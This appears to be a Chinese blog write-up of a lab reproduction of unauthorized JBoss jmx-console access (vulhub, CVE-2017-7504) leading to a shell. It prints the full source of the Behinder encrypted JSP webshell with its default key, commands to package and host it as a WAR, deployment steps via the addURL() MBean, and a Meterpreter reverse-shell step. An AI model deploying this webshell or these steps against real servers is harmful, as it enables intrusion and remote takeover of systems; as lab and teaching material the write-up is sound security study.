JBoss jmx-console未授权访问致GetShell复现

最近在工作中又遇到jboss未授权,以前没做过这个漏洞getshell的复现,所以练习下

环境:

vulhub+centos7

工具:

冰蝎 v3.0_Beta_6

1
2
3
4
冰蝎自带shell.jsp如下,密码rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
重命名为ma.jsp并制作war包
jar -cvfM0 ma.war ma.jsp

步骤:

搭建漏洞环境

1
2
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d

搭建webshell下载地址,为了方便我直接在vulhub本地搭建的

1
2
先上传ma.war到服务器,然后在war所在目录执行下列命令即可搭建下载地址
python -m SimpleHTTPServer 80

image-20201110110311652

找到deployment点进去

image-20201110110145393

找到addURL(),这里在String类型后面填入war下载地址http://192.168.116.132/ma.war,然后点击invoke

image-20201106165056211

返回成功,然后点击back to MBean View

image-20201110163834382

查看URLList看到地址加载到了war下载地址,然后点击apply changes

image-20201110110122688

需要等待一会然后刷新jmx-console页面,在web.deployment下面找到ma.war既可

image-20201110110022695

访问http://192.168.116.132:8899/ma/ma.jsp没有报错,在冰蝎添加然后连接即可

image-20201110162047785

image-20201110162446522

image-20201110162643069

进行下一步反弹shell,用MSF来进行操作

选择反弹shell,然后选择Metepreter,下面会给出命令提示

image-20201221200502545

接着在kali里面msfconsole打开MSF,执行提示里面的命令

image-20201221200704050

设置kali本地监听地址,端口监听4444,执行exploit进行监听

image-20201221200748648

在冰蝎填写好监听地址,然后点击给我连按钮反弹shell到meterpeter

image-20201221201027350

image-20201221201050352

参考链接:

https://www.cnblogs.com/yuzly/p/11240183.html